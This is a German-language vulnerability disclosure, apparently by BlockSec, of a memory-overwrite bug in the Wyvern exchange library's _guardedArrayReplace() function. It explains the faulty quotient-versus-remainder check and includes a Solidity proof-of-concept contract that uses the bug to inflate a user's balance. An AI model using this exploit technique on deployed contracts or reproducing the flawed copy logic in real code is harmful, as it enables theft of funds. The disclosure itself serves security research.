Einleitung
Unser System zur Erkennung von Schwachstellen hat eine Speicherüberschreibungs-Schwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden, die zum Wyvern dezentralen Börsenprotokoll gehört und zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.
Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), aber bisher noch keine Antwort erhalten. Da OpenSea auf das Seaport-Protokoll umgestellt hat, glauben wir, dass es sicher ist, die detaillierten Informationen öffentlich bekannt zu geben. Außerdem möchten wir diese Erkenntnisse teilen, um die Community zu involvieren, da der Fehler selbst etwas knifflig ist, während die Ausnutzung ziemlich interessant ist.
Beschreibung
Der anfällige Code ist im offiziellen Code-Repository unter dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.
Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein dynamisch großes Byte-Array (d. h. den zweiten Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. den ersten Parameter namens _array). Beachten Sie, dass diese Funktion so implementiert ist, dass sie eine Operation auf Wortebene (d. h. 0x20 Bytes) durchführt, sodass die Codestruktur in zwei Schritte unterteilt werden kann, basierend auf dem Ergebnis der Division.
Für den Quotienten-Teil (d. h. _words = _array.length / 0x20) kopiert die Codestruktur von Zeile 42 bis Zeile 49 das gewünschte Array Wort für Wort in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die Assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Codestruktur von Zeile 52 bis Zeile 66 ist dazu bestimmt, diese Bytes zu verarbeiten. Leider verwendet die _if_-Anweisung in Zeile 52 fälschlicherweise den Quotienten (_words_, d. h. _array.length_ / 0x20) anstelle des Rests (_array.length % 0x20), um die Überprüfung durchzuführen.
Die Schwere
Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, _array.length_ ist genau durch 0x20 teilbar, wird die Kopiervorgang tatsächlich in der Schleifenlogik durchgeführt. In den meisten Fällen wird die Funktion jedoch in die anfällige Logik eintreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was unweigerlich zu einem Zugriff außerhalb der Grenzen führt. Schlimmer noch, die falsche Logik kann ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für jeden Zweck genutzt werden kann.
Wie dieser Fehler ausgenutzt werden kann?
Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen, die erste namens _test() wird zur Durchführung des Angriffs verwendet, während die zweite nur die anfällige Funktion _guardedArrayReplace() ist.
Insbesondere definieren wir in der Funktion _test() zunächst einige In-Memory-Bytes (_a_, _b_ und _mask_) und ein Array (d. h. __rewards_). Die hier definierte __rewards_ wird zur Berechnung der Belohnungen des Benutzers verwendet. Nach dem Aufruf der Funktion _guardedArrayReplace() zum Kopieren von _a_ nach _b_ mit _mask_ wird __rewards_ zum Saldo des Benutzers hinzugefügt (d. h. _balances[msg.sender]_).
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
Hier verwenden wir Remix, um das Ergebnis zu demonstrieren. Es ist erwähnenswert, dass wir zunächst keinen Wert für __rewards_ und _balances_ zuweisen. Nach der Ausnutzung wird der Benutzersaldo auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Fazit
Obwohl selten, können solche Speicherüberschreibungs-Schwachstellen immer noch in Smart Contracts vorhanden sein. Entwickler müssen auf die Codestruktur achten, die den Speicher manipuliert.
Über BlockSec
BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit renommierter Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufkommende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Dienstleistungen für die Prüfung von Smart Contracts und EVM-Chains, die Phalcon-Plattform zur proaktiven Entwicklung und Blockierung von Sicherheitsbedrohungen, die MetaSleuth-Plattform zur Verfolgung und Untersuchung von Geldern sowie die MetaDock-Erweiterung für Web3-Entwickler zur effizienten Navigation in der Krypto-Welt.
Bis heute hat das Unternehmen über 300 geschätzte Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge in US-Dollar erhalten.
Offizielle Website: https://blocksec.com/
Offizieller Twitter-Account: https://twitter.com/BlockSecTeam



